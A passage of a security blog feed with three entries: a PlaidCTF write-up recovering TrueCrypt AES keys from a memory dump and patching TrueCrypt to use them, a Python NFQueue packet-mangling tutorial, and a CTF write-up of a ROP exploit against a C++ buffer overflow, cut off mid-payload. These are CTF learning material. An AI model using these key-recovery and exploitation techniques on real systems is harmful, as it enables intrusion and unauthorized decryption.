&lt;div&gt;Given is a memory dump (128 MB) of a running Windows XP SP3 machine as well as a 32 MB file containing random data (a TrueCrypt volume image, according to the problem description). The memory dump was supposedly extracted via the Firewire port: The Firewire specification allows devices to have full DMA access. This allows forensic analysts (or a malicious hacker)  to plug into any running computer that has a Firewire port and gain full access to the machine within seconds. Papers describing the attack and tools can be found at &lt;a href=&quot;http://www.hermann-uwe.de/blog/physical-memory-attacks-via-firewire-dma-part-1-overview-and-mitigation&quot;&gt;http://www.hermann-uwe.de/blog/physical-memory-attacks-via-firewire-dma-part-1-overview-and-mitigation&lt;/a&gt;. A different way to get a dump of the memory would be to conduct a “cold boot attack” as described in this paper: &lt;a href=&quot;http://citp.princeton.edu/pub/coldboot.pdf&quot;&gt;http://citp.princeton.edu/pub/coldboot.pdf&lt;/a&gt;.&lt;/div&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;p&gt;To get an overview of the memory dump we inspect it with &lt;a href=&quot;https://www.volatilesystems.com/&quot;&gt;volatility&lt;/a&gt;. We see that TrueCrypt was running at the moment the dump was taken &amp;#8230; good.&lt;/p&gt;
&lt;p&gt;Further inspection of the memory dump reveals that the Operating System is Windows XP SP3, and the latest version of TrueCrypt (7.0a) is used. We reconstruct the setup by launching a VirtualBox installation, and we extract the memory using Mantech Memory Dumper mdd http://sourceforge.net/projects/mdd/. TrueCrypt offers the possibility to cache the passwords for mounting encrypted volumes. Comparing different memory dumps let us conclude that password caching was not enabled in the TrueCrypt software.&lt;/p&gt;
&lt;p&gt;We briefly summarize the relevant technical details of TrueCrypt. More information can be found at &lt;a href=&quot;http://www.truecrypt.org/docs/&quot;&gt;http://www.truecrypt.org/docs/&lt;/a&gt;. In order to mount an encrypted volume, TrueCrypt uses the password and/or one or more key-files in order to decrypt the header (first 512 bytes of the volume). If the header gets correctly decrypted (a magic cookie is found), TrueCrypt reads the configuration (encryption algorithm and mode, etc.) as well as the master and secondary key into memory, and safely overwrites the memory regions where the password / key-file location was stored. The extracted master and secondary key is used for any further encryption and decryption of data. Since the data is encrypted and decrypted on the fly, these keys remain in memory. (Note that recent papers suggest storing the keys in CPU registers, more specifically in SSE registers &lt;a href=&quot;http://portal.acm.org/citation.cfm?id=1752053&quot;&gt;http://portal.acm.org/citation.cfm?id=1752053&lt;/a&gt; or in MSR registers  &lt;a href=&quot;http://arxiv.org/abs/1104.4843&quot;&gt;http://arxiv.org/abs/1104.4843&lt;/a&gt; instead of in the RAM in order to mitigate against these attacks.).&lt;/p&gt;
&lt;p&gt;The default cipher used by TrueCrypt is AES in XTS mode which uses two 256 Bit AES-keys. We have to locate these keys in the memory dump. One option would be to analyze the data-structures and locate the memory region where TrueCrypt stores the keys. But it is easier to use a generic approach to locate AES keys since a tool for that task was already written for the “cold boot attack”-research by Jacob Applebaum: AESKeyFinder &lt;a href=&quot;http://citp.princeton.edu/memory/code/&quot;&gt;http://citp.princeton.edu/memory/code/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once we have the right keys, we replace the header of the encrypted volume with the header of an identical volume which we created and where we set the password (so that TrueCrypt starts the mounting process correctly), but have TrueCrypt patched so that it uses the extracted keys from the memory dump instead of the ones from the newly generated header.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Finding the keys&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;p&gt;AESKeyFinder inspects memory dumps (or actually any kind of files) and performs a simple heuristic to estimate entropy. The tool targets the expanded AES keys and tests whether a contiguous region in memory satisfies the constraints of a valid AES key schedule &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Rijndael_key_schedule&quot;&gt;https://secure.wikimedia.org/wikipedia/en/wiki/Rijndael_key_schedule&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So we run the tool in verbose mode:&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;p&gt;&lt;code&gt;##########################&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;./aeskeyfind physmem.bin -qv&lt;br /&gt;
FOUND POSSIBLE 256-BIT KEY AT BYTE 1166008&lt;/p&gt;
&lt;p&gt;KEY: f0cbf260e0ca8ec2431089fb393a1c29513aaaa5847d13e8be84760968e64dc6&lt;/p&gt;
&lt;p&gt;EXTENDED KEY:&lt;br /&gt;
f0cbf260e0ca8ec2431089fb393a1c29&lt;br /&gt;
513aaaa5847d13e8be84760968e64dc6&lt;br /&gt;
7f2846259fe2c8e7dcf2411ce5c85d35&lt;br /&gt;
88d2e6330caff5dbb22b83d2dacdce14&lt;br /&gt;
c0a3bc725f41749583b33589667b68bc&lt;br /&gt;
bbf3a356b75c568d0577d55fdfba1b4b&lt;br /&gt;
300c0fec6f4d7b79ecfe4ef08a85264c&lt;br /&gt;
c564547f723802f2774fd7ada8f5cce6&lt;br /&gt;
de47812eb10afa575df4b4a7d77192eb&lt;br /&gt;
cbc71b96b9ff1964ceb0cec96645022f&lt;br /&gt;
a030941d113a6e4a4ccedaed9bbf4806&lt;br /&gt;
dfcf49f96630509da8809e54cec59c7b&lt;br /&gt;
26eeb59637d4dbdc7b1a0131e0a54937&lt;br /&gt;
3ec9726358f922fef079bcaa3ebc20d1&lt;br /&gt;
03598b24348d50f84f9751c9af3218fe&lt;/p&gt;
&lt;p&gt;CONSTRAINTS ON ROWS:&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
00000000000000000000000000000000&lt;br /&gt;
a4ba4e5eec12a4d672ca77143c4062874ae580efb9fe97bde3b3e6a81897e19b&lt;br /&gt;
1c2d49fc319ab86e317a676a77adecd005c26ac2f92330f4bf57e7fd25517be4&lt;br /&gt;
f0887dbdb886bbce1d09192c46d78bba7767303042f20f9e97f4a2ee9a069c19&lt;br /&gt;
896fc79ff18f46ec0300545c5bde9296ad29fd8abf019cbcc4286d680df23ef7&lt;br /&gt;
374fb5bf43bcc26f310dd6dd58dec6ca33047ae03810315e969c3149c9da539f&lt;br /&gt;
2d01ca16d2ec47826d5b7f7b69d31017a8d05433be7447d9e50989fc5f4662d6&lt;br /&gt;
461e700719d173152baa731904886f6c53e82a369c82e066c6575955a70678ed&lt;/p&gt;
&lt;p&gt;FOUND POSSIBLE 256-BIT KEY AT BYTE 11674d4&lt;/p&gt;
&lt;p&gt;KEY: 9b18635534875fc2ba1a74616e961caaaa907d8b285c7625bb44eb256b8de59d&lt;/p&gt;
&lt;p&gt;EXTENDED KEY:&lt;br /&gt;
9b18635534875fc2ba1a74616e961caa&lt;br /&gt;
aa907d8b285c7625bb44eb256b8de59d&lt;br /&gt;
c7c13d2af34662e8495c168927ca0a23&lt;br /&gt;
66e41aad4eb86c88f5fc87ad9e716230&lt;br /&gt;
666b3921952d5bc9dc714d40fbbb4763&lt;br /&gt;
690eba5627b6d6ded24a51734c3b3343&lt;br /&gt;
80a82308158578c1c9f43581324f72e2&lt;br /&gt;
4a8aface6d3c2c10bf767d63f34d4e20&lt;br /&gt;
6b8794057e02ecc4b7f6d94585b9aba7&lt;br /&gt;
dddc9892b0e0b4820f96c9e1fcdb87c1&lt;br /&gt;
c290ecb5bc9200710b64d9348edd7293&lt;br /&gt;
c41dd84e74fd6ccc7b6ba52d87b022ec&lt;br /&gt;
050322a2b99122d3b2f5fbe73c288974&lt;br /&gt;
2f297fdc5bd4131020bfb63da70f94d1&lt;br /&gt;
33211cfe8ab03e2d3845c5ca046d4cbe&lt;/p&gt;
&lt;p&gt;CONSTRAINTS ON ROWS:&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
00000000000000000000000000000000&lt;br /&gt;
d9ea24470c5bf1b15f3fe8d33eb683089a7ff9f198bb75cd3d2d8bed76e54625&lt;br /&gt;
f3acc19f88a6775a9e5c1d35828683225f9eebc3f912bd22c286ca034f297f9f&lt;br /&gt;
60f8969f3f106db49ffe4e6b1cda9e1776e957cf4dc7c9544c8871c38dafb59c&lt;br /&gt;
05a596765f1e018fb150a1bf8324d07caadd339decc14ac9b02f10f1c127c45f&lt;br /&gt;
5738b9015cbe40304bcdd62f327471c33b9672c7ada60c16d749078f7108d4ae&lt;br /&gt;
ca866774b97f05196d03a57579b9a7ec241885799511a598317b9cd2a641d321&lt;br /&gt;
b0823347a1175dd64d710fca14ba0299489e0a17bc3d358e83c3ff1b3c9ac97e&lt;/p&gt;
&lt;p&gt;FOUND POSSIBLE 256-BIT KEY AT BYTE 7d852cc&lt;/p&gt;
&lt;p&gt;KEY: 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f&lt;/p&gt;
&lt;p&gt;EXTENDED KEY:&lt;br /&gt;
000102030405060708090a0b0c0d0e0f&lt;br /&gt;
101112131415161718191a1b1c1d1e1f&lt;br /&gt;
a573c29fa176c498a97fce93a572c09c&lt;br /&gt;
1651a8cd0244beda1a5da4c10640bade&lt;br /&gt;
ae87dff00ff11b68a68ed5fb03fc1567&lt;br /&gt;
6de1f1486fa54f9275f8eb5373b8518d&lt;br /&gt;
c656827fc9a799176f294cec6cd5598b&lt;br /&gt;
3de23a75524775e727bf9eb45407cf39&lt;br /&gt;
0bdc905fc27b0948ad5245a4c1871c2f&lt;br /&gt;
45f5a66017b2d387300d4d33640a820a&lt;br /&gt;
7ccff71cbeb4fe5413e6bbf0d261a7df&lt;br /&gt;
f01afafee7a82979d7a5644ab3afe640&lt;br /&gt;
2541fe719bf500258813bbd55a721c0a&lt;br /&gt;
4e5a6699a9f24fe07e572baacdf8cdea&lt;br /&gt;
24fc79ccbf0979e9371ac23c6d68de36&lt;/p&gt;
&lt;p&gt;CONSTRAINTS ON ROWS:&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
0000000000000000000000000000000000000000000000000000000000000000&lt;br /&gt;
00000000000000000000000000000000&lt;br /&gt;
6948172fbb0d7ded3b16ce30696cda326d54b8480a0e0a0e0a0e0a0e0a0e0a0e&lt;br /&gt;
b29a81a5000000000000000000000000720676bd000000000000000000000000&lt;br /&gt;
69b5cd83000000000000000000000000fec82ba5000000000000000000000000&lt;br /&gt;
58fbba6f000000000000000000000000e2d69177000000000000000000000000&lt;br /&gt;
1fe3a63900000000000000000000000031467b85000000000000000000000000&lt;br /&gt;
b6a85bf0000000000000000000000000deaed73f000000000000000000000000&lt;br /&gt;
7cdc8bf900000000000000000000000045804db8a3b9352ffd620c9386f2fa8e&lt;br /&gt;
##########################&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;The “constraint on rows”-output tells us that the expanded keys are valid according to the AES key schedule. If we had bit errors in the respective memory regions (likely in cold boot attacks), not all constraints would have been met and AESKeyFinder would have calculated a guess for the original valid key.&lt;/p&gt;
&lt;p&gt;So we have three keys after only a few of seconds of runtime &amp;#8211; so far so good.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;f0cbf260e0ca8ec2431089fb393a1c29513aaaa5847d13e8be84760968e64dc6&lt;/li&gt;
&lt;li&gt;9b18635534875fc2ba1a74616e961caaaa907d8b285c7625bb44eb256b8de59d&lt;/li&gt;
&lt;li&gt;000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;The entropy of (3) is really low, and we can definitely exclude it if we assume TrueCrypt is not totaly broken. This is good news since we have exactly two remaining 256-bit AES keys, as used by TrueCrypt in default configuration (AES in XTR mode).&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Patching TrueCrypt&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;Next we read the source of TrueCrypt. Remember that TrueCrypt first decrypts the header with the password, and then reads the AES-key from the decrypted header. Reading in the header is done in Volume/VolumeHeader.cpp:VolumeHeader::Deserialize(.,.,.). We patch the code there, right after the master and secondary key was read from the decrypted header, and replace it with the hard-coded key value we found in the previous step. Our quick and dirty patch looks as follows:&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&lt;code&gt;--- truecrypt-7.0a-source/Volume/VolumeHeader.cpp&lt;br /&gt;
+++ truecrypt-7.0a-source.patched//Volume/VolumeHeader.cpp&lt;br /&gt;
06:00:20.000000000 -0700&lt;br /&gt;
@@ -6,6 +6,10 @@&lt;br /&gt;
+#include &amp;lt;iostream&amp;gt;&lt;br /&gt;
+#include &amp;lt;cstdlib&amp;gt;&lt;br /&gt;
+#include &amp;lt;cstdio&amp;gt;&lt;br /&gt;
+#include &amp;lt;fstream&amp;gt;&lt;br /&gt;
#include &quot;Crc32.h&quot;&lt;br /&gt;
#include &quot;EncryptionModeXTS.h&quot;&lt;br /&gt;
#include &quot;Pkcs5Kdf.h&quot;&lt;br /&gt;
@@ -201,8 +206,19 @@ namespace TrueCrypt&lt;/code&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;if (typeid (*mode) == typeid (EncryptionModeXTS))&lt;br /&gt;
{&lt;br /&gt;
-                       ea-&amp;gt;SetKey (header.GetRange (offset, ea-&amp;gt;GetKeySize()));&lt;br /&gt;
-                       mode-&amp;gt;SetKey (header.GetRange (offset + ea-&amp;gt;GetKeySize(), ea-&amp;gt;GetKeySize()));&lt;br /&gt;
+&lt;br /&gt;
+                       char * buffer = (char *)malloc(65);&lt;br /&gt;
+                       buffer[64] = &amp;#8216;\x00&amp;#8242;;&lt;br /&gt;
+                       memcpy(buffer, &amp;#8220;\xf0\xcb\xf2\x60\xe0\xca\x8e\xc2\x43\x10\x89\xfb\x39\x3a\x1c\x29\x51\x3a\xaa\xa5\x84\x7d\x13\xe8\xbe\x84\x76\x09\x68\xe6\x4d\xc6\x9b\x18\x63\x55\x34\x87\x5f\xc2\xba\x1a\x74\x61\x6e\x96\x1c\xaa\xaa\x90\x7d\x8b\x28\x5c\x76\x25\xbb\x44\xeb\x25\x6b\x8d\xe5\x9d&amp;#8221;, 64);&lt;br /&gt;
+                       //ea-&amp;gt;SetKey (header.GetRange (offset, ea-&amp;gt;GetKeySize()));&lt;br /&gt;
+&lt;br /&gt;
+                       ConstBufferPtr cbp = (ConstBufferPtr( (TrueCrypt::byte*) buffer, 32));&lt;br /&gt;
+                       ea-&amp;gt;SetKey (cbp);&lt;br /&gt;
+&lt;br /&gt;
+                       ConstBufferPtr cbpm = (ConstBufferPtr( (TrueCrypt::byte*) buffer +32, 32));&lt;br /&gt;
+                       //mode-&amp;gt;SetKey (header.GetRange (offset + ea-&amp;gt;GetKeySize(), ea-&amp;gt;GetKeySize()));&lt;br /&gt;
+                       mode-&amp;gt;SetKey (cbpm);&lt;br /&gt;
+&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;/p&gt;
&lt;h2&gt;Mounting the Volume&lt;/h2&gt;
&lt;div&gt;
&lt;p&gt;In order for TrueCrypt to reach the patched code it must first correctly decrypt a valid header. So we copy the header from an identically sized TrueCrypt volume configured with the default parameters:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ dd of=ppp.challenge.vol if=weknowthepasswd.vol bs=512 count=1 conv=notrunc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;and open ppp.challenge.vol with the patched TrueCrypt software and find the file KEY.TXT in the correctly decrypted volume.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;div&gt;This was a really nice challenge letting us explore TrueCrypt internals. If you think this is too complicated &amp;#8211; you are right. You can also solve the challenge with available tools: &lt;a href=&quot;http://www.lestutosdenico.com/tutos-de-nico/write-up-fun-with-firewire-plaidctf&quot;&gt;http://www.lestutosdenico.com/tutos-de-nico/write-up-fun-with-firewire-plaidctf&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;People involved in solving this challenge: Clemens Hlauschek, Michael Weissbacher&lt;/p&gt;</content>
		<author>
			<name>Michael Weissbacher</name>
			<uri>http://mweissbacher.com/blog</uri>
		</author>
		<source>
			<title type="html">Michael Weissbacher » Security</title>
			<link rel="self" href="http://mweissbacher.com/blog/category/security/feed/"/>
			<id>http://mweissbacher.com/blog/category/security/feed/</id>
			<updated>2012-04-30T09:05:02+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">NFQueue packet mangling with Python</title>
		<link href="http://blog.yancomm.net/2011/05/nfqueue-packet-mangling-with-python.html"/>
		<id>tag:blogger.com,1999:blog-5382623307780980960.post-7998061245383156272</id>
		<updated>2011-05-10T00:34:43+00:00</updated>
		<content type="html">&lt;div dir=&quot;ltr&quot;&gt;In Linux, IPTables provides a pretty slick functionality to drop packets to userland to mangle or analyze them before returning them back to the kernel. Normally, this is done with C, but there are also bindings to friendlier languages, such as Python. Unfortunately, these bindings have very little documentation. While there are some examples for simple accept/reject decisions (&lt;a href=&quot;https://www.wzdftpd.net/blog/index.php?post/2008/06/01/22-nfqueue-bindings&quot;&gt;https://www.wzdftpd.net/blog/index.php?post/2008/06/01/22-nfqueue-bindings&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href=&quot;http://184.73.202.106/a/content/2010-08-01/instant-steganography-scapy-and-nfqueue&quot;&gt;http://184.73.202.106/a/content/2010-08-01/instant-steganography-scapy-and-nfqueue&lt;/a&gt;), there seems to be a lack of more intricate showcases of this capability.&lt;br /&gt;&lt;br /&gt;Well, today we push the envelope!&lt;br /&gt;&lt;br /&gt;I was writing something for which I needed to drop packets to userland, mangle them, and then hand the modified version back to the kernel. The approach is pretty much identical to the nfqueue part of the posts linked to earlier with the exception of the method of setting the verdict, which took me a little while to track down. Basically, we first set up the iptables rules:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;hr /&gt;# iptables -A&amp;nbsp;OUTPUT -p tcp -j NFQUEUE&lt;hr /&gt;&lt;/blockquote&gt;&lt;br /&gt;Then, in our code, we do the standard nfqueue stuff (none of this is really different from what's linked to above):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;hr /&gt;import nfqueue&lt;/blockquote&gt;&lt;blockquote&gt;q = None&lt;/blockquote&gt;&lt;blockquote&gt;def cb(dummy, payload):&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;...&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;q = nfqueue.queue()&lt;br /&gt;q.open()&lt;br /&gt;q.bind(socket.AF_INET)&lt;br /&gt;q.set_callback(cb)&lt;br /&gt;q.create_queue(0)&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;try:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; q.try_run()&lt;br /&gt;except KeyboardInterrupt:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot;Exiting...&quot;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;q.unbind(socket.AF_INET)&lt;br /&gt;q.close()&lt;hr /&gt;&lt;/blockquote&gt;&lt;br /&gt;All the interesting stuff happens in the callback function. For example, if we wanted to (using scapy) change the ttl of all outgoing packets to 10, we would do:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;hr /&gt;from scapy.all import IP&lt;/blockquote&gt;&lt;blockquote&gt;def cb(dummy, payload):&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;pkt = IP(payload.get_data())&lt;/blockquote&gt;&lt;blockquote&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # set the TTL&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;pkt.ttl = 10&lt;/blockquote&gt;&lt;blockquote&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;# clear the IP checksum so that Scapy recalculates it, since we modified the IP header&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;del pkt.chksum&lt;/blockquote&gt;&lt;blockquote&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # reinject the packet!&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))&lt;hr /&gt;&amp;nbsp;&lt;/blockquote&gt;And that's it. Basically, we're using the set_verdict_modified() function instead of set_verdict(), and it takes the verdict, the modified packet, and the length of the modified packet as arguments.&amp;nbsp;Of course, for something simple like setting the TTL, you can just use iptables without dropping the packet to userland, but this should illustrate the basic idea.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Keep in mind that since you're mangling packets, you might screw up the behavior of the underlying applications. For example, if you inject extra data into or remove data from a TCP packet, you might screw up the sequence numbers and pretty much break the connection. Good luck!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/5382623307780980960-7998061245383156272?l=blog.yancomm.net&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>Zardus</name>
			<email>noreply@blogger.com</email>
			<uri>http://blog.yancomm.net/</uri>
		</author>
		<source>
			<title type="html">Zardus' Blog</title>
			<link rel="self" href="http://blog.yancomm.net/feeds/posts/default"/>
			<id>tag:blogger.com,1999:blog-5382623307780980960</id>
			<updated>2012-05-16T16:15:03+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">PlaidCTF 2011 Challenge #17: C++5x writeup</title>
		<link href="http://networkechoes.blogspot.com/2011/04/plaidctf-2011-challenge-17-c5x-writeup.html"/>
		<id>tag:blogger.com,1999:blog-1851819418041948513.post-1177670600689586159</id>
		<updated>2011-04-29T14:31:17+00:00</updated>
		<content type="html">This is a challenge that required a lot of work from Zardus and me, but we think that the solution we came up with is really interesting. Some other teams apparently just disabled libc ASLR to make things easier, instead we dynamically calculated the address of the exec() we wanted to call, and jumped to it.&lt;br /&gt;&lt;br /&gt;The challenge involved a C++ binary with the following usage:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; # ./first_cpp&lt;br /&gt;&amp;nbsp; Usage: ./first_cpp &amp;lt;name&amp;gt; &amp;lt;point&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;The binary creates a C++ object (which has one method) on the stack in main(), and then calls a function which has an unrestricted buffer overflow followed by a call to the aforementioned method. As well as the overflow, the second function conveniently copies part of the buffer into the bss.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; void __cdecl stupid_function(int obj_ptr, int points, int name_ptr)&lt;br /&gt;&amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp; char src; // [sp+26h] [bp-32h]@1&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; sprintf(&amp;amp;src, &quot;Uploading... [%s]: %d pts\n&quot;, name_ptr, points);&lt;br /&gt;&amp;nbsp; &amp;nbsp; memcpy(s, &amp;amp;src, 0x32u);&lt;br /&gt;&amp;nbsp; &amp;nbsp; (**(int (__cdecl ***)(_DWORD, _DWORD))obj_ptr)(obj_ptr, s);&lt;br /&gt;&amp;nbsp; &amp;nbsp; send_to_localhost();&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;It is important to note that the function with the overflow never returns, send_to_localhost() calls exit() after sending a UDP packet to localhost containing the points variable.&lt;br /&gt;&lt;br /&gt;Normally, exploiting this would be a piece of cake. However, the machine had both ASLR and NX enabled and functional. A further complication was the absense of any helpful libc calls in the GOT due to the fact that the binary does not call such functions.&lt;br /&gt;&lt;br /&gt;The answer lies in the method call. Since the C++ object resides on the stack, and we can overwrite it with the buffer overflow, we can change the address that is eventually called. A C++ method call in such a fashion consists of the following instructions:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; mov &amp;nbsp; &amp;nbsp; eax, [ebp+obj_ptr]&lt;br /&gt;&amp;nbsp; mov &amp;nbsp; &amp;nbsp; eax, [eax]&lt;br /&gt;&amp;nbsp; mov &amp;nbsp; &amp;nbsp; edx, [eax]&lt;br /&gt;&amp;nbsp; mov &amp;nbsp; &amp;nbsp; dword ptr [esp+4], offset s&lt;br /&gt;&amp;nbsp; mov &amp;nbsp; &amp;nbsp; eax, [ebp+obj_ptr]&lt;br /&gt;&amp;nbsp; mov &amp;nbsp; &amp;nbsp; [esp], eax&lt;br /&gt;&amp;nbsp; call &amp;nbsp; &amp;nbsp;edx&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The first mov dereferences the pointer (passed as an argument to the function) into the location of the object on the stack (the first word of which is the location of the virtual table for the object). The second mov acquires the address of the virtual table, and the third mov gets the address of the function to be called. The exploit involves overwriting the object on the stack to point to our own fake virtual table, which is conveniently copied for us into the bss. Luckily, the bss remains stable in memory, which makes this task fairly easy.&lt;br /&gt;&lt;br /&gt;The general idea of the exploit is as follows: first, we acquire the address of a libc function that *is* in the GOT into eax. Then, using the offset between that function and a call to exec (we didn't use system() because system() drops privilages), we increment eax until it is pointing to the exec call. Finally, we jump to a &quot;call eax&quot; instruction. This works because even though libc is in a random location, the relative offsets between the functions are the same. We calculated the offset by subtracting the address of the libc function from the address of the exec call in gdb on the target machine:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; (gdb) p atoi&lt;br /&gt;&amp;nbsp; $5 = {int (const char *)} 0xf7d50b40&lt;br /&gt;&amp;nbsp; (gdb) x/i do_system+1128&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;0xf7d5c398 :&lt;span class=&quot;Apple-tab-span&quot;&gt; &lt;/span&gt;call &amp;nbsp; 0xf7dbc3f0 &amp;lt;__execve&amp;gt;&lt;br /&gt;&amp;nbsp; (gdb) p 0xf7d5c398 - 0xf7d50b40&lt;br /&gt;&amp;nbsp; $6 = 47192&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;In order to carry out our exploit, we ended up using some pretty intricate return-oriented programming. We found several gadgets to help us:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;POP_RET: a simple pop, return gadget at 0x080487a1 to clean up the stack after a call&lt;/li&gt;&lt;li&gt;POP3_RET: a simple pop, pop, pop, return gadget at 0x08048a2f for the same reason&lt;/li&gt;&lt;li&gt;JUST_RET: a ret instruction at 0x08048a32 to ret to our next destination&lt;/li&gt;&lt;li&gt;LEAVE_RET: a leave, ret gadget at 0x080487a1&lt;/li&gt;&lt;li&gt;The sprintf stub function call, always at 0x080485ec&lt;/li&gt;&lt;li&gt;A piece of code at 0x08048949 which reads a local variable into eax and eventually calls sendto:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; mov     eax, [ebp-0x1C]&lt;br /&gt;&amp;nbsp; mov     [esp], eax&lt;br /&gt;&amp;nbsp; call    _sendto&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A piece of code at 0x0804890f which adds 8 to eax and soon calls bzero:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; add     eax, 8&lt;br /&gt;&amp;nbsp; mov     [esp], eax&lt;br /&gt;&amp;nbsp; call    _bzero&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A piece of code at 0x0804879F which calls eax&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;The beginning of our exploit is:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;nbsp; -------- copied into bbs ---------&lt;br /&gt;&amp;nbsp; 00. &quot;AAAA&quot;&lt;br /&gt;&amp;nbsp; 04. &quot;AAAA&quot;&lt;br /&gt;&amp;nbsp; 08. &quot;AAAA&quot;&lt;br /&gt;&amp;nbsp; 12. POP3_RET&lt;br /&gt;&amp;nbsp; 16. POP_RET&lt;br /&gt;&amp;nbsp; 20. &quot;\xe2\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 24. &quot;\xea\x9d\x04\x08&quot;&lt;br /&gt;&amp;nbsp; 28. LEAVE_RET&lt;br /&gt;&amp;nbsp; 32. &quot;%.4s&quot;&lt;br /&gt;&amp;nbsp; -------- on the stack ---------&lt;br /&gt;&amp;nbsp; 36. &quot;BBBB&quot;&lt;br 